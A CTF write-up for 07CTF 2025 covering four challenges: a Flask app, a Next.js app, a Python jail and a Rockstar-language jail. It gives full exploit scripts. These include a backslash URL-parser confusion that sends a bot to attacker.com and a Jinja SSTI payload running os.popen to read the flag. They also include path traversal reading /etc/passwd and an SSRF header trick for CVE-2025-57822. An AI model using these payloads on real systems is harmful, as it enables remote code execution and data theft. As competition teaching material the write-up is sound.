07CTF 2025 - writeup
EN[web] Render Me This
Overview
The server lets users upload and view files.
POST /upload
performs security checks to prevent uploading anything other than images:
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
def is_valid_image(file_stream):
"""Validate if the uploaded file is actually a valid PNG or JPG image using PIL"""
try:
file_stream.seek(0)
image = Image.open(file_stream)
image.verify()
if image.format not in ['JPEG', 'PNG']:
return False
return True
except Exception:
return False
finally:
file_stream.seek(0)
""" ... """
@app.route('/upload', methods=['POST'])
def upload():
""" ... """
if file and allowed_file(file.filename):
if not is_valid_image(file.stream):
return render_template('dashboard.html',
user=session['user'],
files=user_files.get(session['user'], []),
error="Invalid image file. Only valid PNG and JPG images are allowed.")
original_filename = secure_filename(file.filename)
random_filename = str(uuid.uuid4()) + '.jpg'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], random_filename)
file.save(filepath)
username = session['user']
file_info = {
'original_name': original_filename,
'stored_name': random_filename,
'upload_time': time.strftime('%Y-%m-%d %H:%M:%S')
}
user_files[username].append(file_info)
return redirect(url_for('dashboard'))
else:
return render_template('dashboard.html',
user=session['user'],
files=user_files.get(session['user'], []),
error="Only image files are allowed (JPG, PNG, GIF, BMP, WebP, TIFF)")
If the file passes the checks, it is saved with a random filename ending in .jpg
.
POST /view
allows rendering of HTML files using Jinja:
@app.route('/view')
def view_file():
if 'user' not in session:
return redirect(url_for('login'))
filename = request.args.get('name')
if not filename:
return "No filename specified", 400
jpg_path = f"./uploads/{filename}.jpg"
if os.path.exists(jpg_path):
""" ... """
html_path = f"./uploads/{filename}.html"
if os.path.exists(html_path):
try:
with open(html_path, 'r') as f:
content = f.read()
return render_template_string(content)
except Exception as e:
return render_template('error.html',
error="Error loading template",
message="There was an error processing the template file.")
return render_template('error.html',
error="File not found",
message="The requested file could not be found.")
POST /check-url
performs a “security check” by launching Chrome, but it only accepts URLs whose hostname is example.com
:
@app.route('/check-url', methods=['POST'])
def check_url():
if 'user' not in session:
return redirect(url_for('login'))
url = request.form.get('url')
if not url:
return "No URL provided", 400
try:
parsed_url = urlparse(url)
if not parsed_url.scheme:
return "Invalid URL format. Please include http:// or https://", 400
if not parsed_url.hostname or parsed_url.hostname != 'example.com':
return "Invalid URL. Only URLs from example.com are allowed.", 400
except Exception as e:
return f"Error parsing URL: {str(e)}", 400
thread = threading.Thread(target=run_security_scan_with_flag, args=(url,))
thread.start()
return render_template('security.html',
message="Security scan initiated! Results will be processed in the background.")
def run_security_scan_with_flag(url):
"""Simulate security scanning by opening URL in headless Chrome with flag cookie"""
try:
proc = subprocess.Popen(['google-chrome', url, "--no-sandbox", "--disable-gpu", "--disable-dev-shm-usage", f"--cookie=flag={flag}; Domain=example.com; Path=/; Secure; HttpOnly; SameSite=Strict"])
time.sleep(25)
proc.terminate()
except Exception as e:
print(f"Error running security scan: {e}")
Solution
You probably cannot upload HTML using POST /upload
because its extension will always be .jpg
, so we need to find another way to upload a file that ends with .html
.
In urlparse
, the backslash is treated litteraly, but in Chrome, the backslash is evaluated as forward slash. As a result, for http://attacker.com\@example.com/
, urlparse
recognize attacker.com\
as userinfo and example.com
as hostname. On the other hand, Chrome recognize it as http://attacker.com/@example.com/
, so attacker.com
will be the hostname.
In POST /view
, there's no path traversal check, so you can render any file unless it ends in .html
. Also, the file is passed to render_template_string
, so Jinja SSTI is possible here.
You can make the bot visit anywhere, so made it visit my website which downloads an HTML file. Then, I loaded the downloaded file using POST /view
, which leads to SSTI then RCE.
import requests
URL = "http://231bc4ca57.ctf.0bscuri7y.xyz/"
# URL = "http://localhost:5000/"
EVIL = "https://attacker.com"
s = requests.session()
user = {
"username": "foo",
"password": "bar"
}
r = s.post(URL + "register", data=user)
r = s.post(URL + "login", data=user)
r = s.post(URL + "check-url", data={
"url": EVIL + "\\@example.com"
})
r = s.get(URL + "view", params={
"name": "../../../../home/ctf/Downloads/x"
})
print(r.status_code)
print(r.text)
from flask import Flask
app = Flask(__name__)
@app.route("/@example.com")
def index():
return """
<a id="l" download="x.html">x</a>
<script>
const text = `{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag/flag*').read() }}`;
l.href = "data:text/plain;charset=utf-8;base64," + btoa(unescape(encodeURIComponent(text)));
window.addEventListener("load", () => {
l.click();
})
</script>
"""
if __name__ == "__main__":
app.run(port=9911)
[web] Nextbox
Overview
This is a blackbox challenge for website that uses Next.js.
Solution
There is a directory traversal vulnerability in POST /api/profile/avatar
.
import requests
import random
URL = "http://nextbox.ctf.0bscuri7y.xyz/"
s = requests.session()
user = {
'username': random.randbytes(16).hex(),
'password': 'xx',
'firstName': 'ああ',
'lastName': 'ああ',
'email': '[email protected]',
}
r = s.post(URL + 'api/auth/register', json=user, verify=False)
r = s.post(URL + 'api/auth/login', json=user, verify=False)
token = r.json()["token"]
s.headers={
"Authorization": f"Bearer {token}",
}
r = s.post(URL + 'api/profile/avatar', files={
"avatar": ("../../../../etc/passwd", "bar", 'image/png')
}, verify=False)
print(r.status_code)
print(r.text)
r = s.get(URL + 'api/get-avatar', verify=False)
print(r.status_code)
print(r.text)
From here:
- You can check
/proc/self/cwd/pages/api/get-secret-flag.js
to see the condition required forGET /api/get-secret-flag
to return the flag.- You can probably get the flag from
GET http://127.0.0.1:39722/flag
, butGET /api/get-secret-flag
does not seem to return the result to the user.
- You can probably get the flag from
- You can check the Next.js version from
/proc/self/cmdline
.- The version is
v15.4.6
, which is vulnerable to CVE-2025-57822, allowing SSRF, and SSRF is what we want.
- The version is
- You can check
/proc/self/cwd/middleware.js
to confirm that the server is indeed vulnerable to CVE-2025-57822 if thex-secret-code-07
header is set and the request is for/api/get-secret-flag
.
Full Exploit
import requests
import random
import jwt
URL = "http://nextbox.ctf.0bscuri7y.xyz/"
s = requests.session()
user = {
'username': random.randbytes(16).hex(),
'password': 'xx',
'firstName': 'ああ',
'lastName': 'ああ',
'email': '[email protected]',
}
r = s.post(URL + 'api/auth/register', json=user, verify=False)
r = s.post(URL + 'api/auth/login', json=user, verify=False)
token = r.json()["token"]
s.headers={
"Authorization": f"Bearer {token}",
"x-secret-code-07": "1",
"Location": "http://127.0.0.1:39722/flag"
}
r = s.get(URL + 'api/get-secret-flag', verify=False)
print(r.status_code)
print(r.text)
[misc] The Gamble
Overview
This is a Pyjail where you can run any number of `exec('
actual
: must consist of three characters, each either an uppercase ASCII letter or a whitespace character.operator
: must consist of two characters, with at least one character being=
and all characters havingc.isalpha()
return False.guess
: must consist of three characters.
The goal is to get the contents of ITEM
variable.
import re
import uuid
from flask import Flask, request, render_template, jsonify, abort
app = Flask(__name__)
import os
ITEM = os.environ.get("FLAG", "07CTF{DUMMY}") # Read flag from environment variable
games = {}
base_exec_func = exec
import re
RE_ACTUAL = re.compile(r'^[A-Z ]{3}$')
A="Sorry, wrong guess."
B="Congratulations! Here is your flag:"
@app.route('/')
def home():
return render_template('home.html')
@app.route('/create', methods=['GET', 'POST'])
def create_game():
if request.method == 'POST':
actual = request.form.get('actual', '')
operator = request.form.get('operator', '')
if not RE_ACTUAL.fullmatch(actual):
return render_template('create.html', error='Actual must be exactly 3 lowercase letters')
if len(operator) != 2 or '=' not in operator:
return render_template('create.html', error='Operator must be exactly 2 chars and include "="')
#check each char of operator by isalnum()
if any(c.isalpha() for c in operator):
return render_template('create.html', error='Operator must not contain alphanum')
game_id = str(uuid.uuid4())[:8]
games[game_id] = {'actual': actual, 'operator': operator}
return render_template('created.html', game_id=game_id)
return render_template('create.html')
@app.route('/play/<game_id>', methods=['GET', 'POST'])
def play_game(game_id):
if game_id not in games:
abort(404)
message = "-"
flag = None
if request.method == 'POST':
guess = request.form.get('guess', '')
if len(guess) != 3:
message = 'Guess must be exactly 3 characters'
else:
actual = games[game_id]['actual']
operator = games[game_id]['operator']
expr = f"{actual}{operator}{guess}"
try:
result = base_exec_func(expr, globals())
except Exception as e:
message += "Sorry, wrong guess."
else:
if result:
message = B
flag = ITEM
else:
message = "Sorry, wrong guess."
print(A)
return render_template('play.html', game_id=game_id, message=message, flag=flag)
if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0")
Solution
First, we fuzzed the Unicode letters c
so that:
c.isalpha()
returns false.- When normalized using NFKC, they evaluate to ASCII letters.
import string
for c in string.ascii_letters:
exec(f"{c}_val=1")
for i in range(0x110000):
c = chr(i)
try:
if not c.isalpha() and eval(c+"_val"):
print(c)
except:
pass
Result:
Ⅰ
Ⅴ
Ⅹ
Ⅼ
Ⅽ
Ⅾ
Ⅿ
ⅰ
ⅴ
ⅹ
ⅼ
ⅽ
ⅾ
ⅿ
These letters can be included in operators, so expressions like A =ⅠTEMS
are valid and are evaluated as A = ITEMS
in Python.
Similarly:
- You can get an item of an iterable using
A =Ⅴ[N]
. - You can call a function that has fewer than 3 letters by doing
V = chr
, thenW =Ⅴ(N)
.
There is probably no way to leak the flag directly, but we can detect whether the expression raised an error because it will return -Sorry, wrong guess.
instead of Sorry, wrong guess.
.
We can detect whether the character c
has the code point n
by executing code equivalent to 1/(ord(c)-n)
and checking for a zero-division error.
Full Exploit
import requests
import re
# URL = "http://localhost:5000/"
URL = "http://89f1db35b9.ctf.0bscuri7y.xyz/"
s = requests.session()
def run(s, v1, v2, v3):
r = s.post(URL + "create", data={
"actual": v1,
"operator": v2
})
gid = re.findall(r'href="/play/([^"]+)"', r.text)[0]
r = s.post(URL + f"play/{gid}", data={
"guess": v3,
})
return r.text
run(s, "V ", "=Ⅰ", "TEM")
run(s, "X ", "= ", "ord")
known = ""
for i in range(0,100):
run(s, "A ", "= ", str(i).rjust(3))
run(s, "A ", "=Ⅴ", "[A]")
run(s, "A ", "=Ⅹ", "(A)")
run(s, "A ", "-=", "33 ")
j = 33
while True:
r = run(s, "XXX", "= ", "1/A")
if "-Sorry, wrong guess." in r:
known += chr(j)
print(known)
break
run(s, "A ", "-=", "1 ")
j += 1
print("next ", i, j)
[misc] Jailhouserock
Overview
This is a jail challenge that uses the Rockstar esolang. The goal is to write a decrypter for encrypt_key
in Rockstar code without using any punctuation or digits.
import sys
import re
import secrets
import os
import subprocess
import tempfile
import base64
FLAG = os.getenv("FLAG")
key = secrets.token_urlsafe(32)
def encrypt_key(key):
scrambled = []
for i, c in enumerate(key):
shifted_char = chr((ord(c) + (i + 1)) % 256)
scrambled.append(shifted_char)
scrambled_str = ''.join(scrambled)
result = scrambled_str[::-1]
return result
def prison_gate():
gate = '''
________
| |
| ____ |
| | | |
| | | |
| |__| |
|________|
| | |
| | |
| | |
| | |
|___|____|
(c) Hard Rock Penitentiary
Enter your decryption function:
Finish your input with $$END$$ on a newline
___________________________________________
'''
print(gate)
def print_open_jail():
print(f"""
YOU DID IT
_____________________
| _________________ |
| | _________ | |
| | | | | |
| | | __ | | |
| | | |__| | | |
| | |_________| | |
| | | |
| | | |
| |_________________| |
|_____________________|
${base64.b64decode(FLAG)}
""")
def jail(code):
symbol_pattern = r'[^\w\t\n\s,]'
for line in code:
symbols = re.findall(symbol_pattern, line)
if symbols:
if line.strip() != "$$END$$":
print(f"How am I supposed to sing that...")
return False
for char in line:
if char.isdigit():
print(f"Where do you think you're at? In a math class? You're a rockstar, be poetic!")
return False
return True
def write_down_lyrics(strings, suffix='.rock'):
with tempfile.NamedTemporaryFile(delete=False, mode='w', suffix=suffix) as temp_file:
for string in strings:
temp_file.write(string)
return temp_file
def sing(code):
code.insert(0,"let something be arguments at 0\n")
code.extend(["let liberty be decrypt taking something\n","shout liberty\n"])
encrypted_key = encrypt_key(key)
file = write_down_lyrics(code)
try:
result = subprocess.run(['../rockstar', file.name, encrypted_key], capture_output=True, text=True)
except Exception as e:
print(f"Something went really wrong {e}")
exit(1)
# os.remove(file.name)
return result.stdout.strip()
def read_until():
line = ""
code = []
while True:
line = sys.stdin.readline()
if "$$END$$" in line:
break
code.append(line)
return code
def main():
prison_gate()
input_text = read_until()
valid = jail(input_text)
if valid:
v = sing(input_text)
print(v, key)
if v == key:
print_open_jail()
else:
print("Aw... what happen to your voice..")
else:
print("Look on the bright side, you have only 24 years left.")
exit
if __name__ == "__main__":
main()
Solution
Reading the documentation:
- To express numbers without using digits, we can write
X is aaa
; thenX
will equal 3. - To express a single character, we can write
Cast X
, whereX
is the code point for that character.
From here, you can express anything that is possible in Rockstar, so we implemented the decoder as follows:
Full Exploit
let something be arguments at 0
One is a
Two is aa
Hoge is aaaa
Hoge is times Hoge
Hoge is times Hoge
Put one minus two into negone
Foo is a
Put something of negone into rev
For r in rev
Cast r
Put r plus hoge minus foo into bar
If bar is more than hoge
Bar is without hoge
End
Cast bar into bar
Write bar
Foo is with one
End
decrypt takes x giving empty
let liberty be decrypt taking something
shout liberty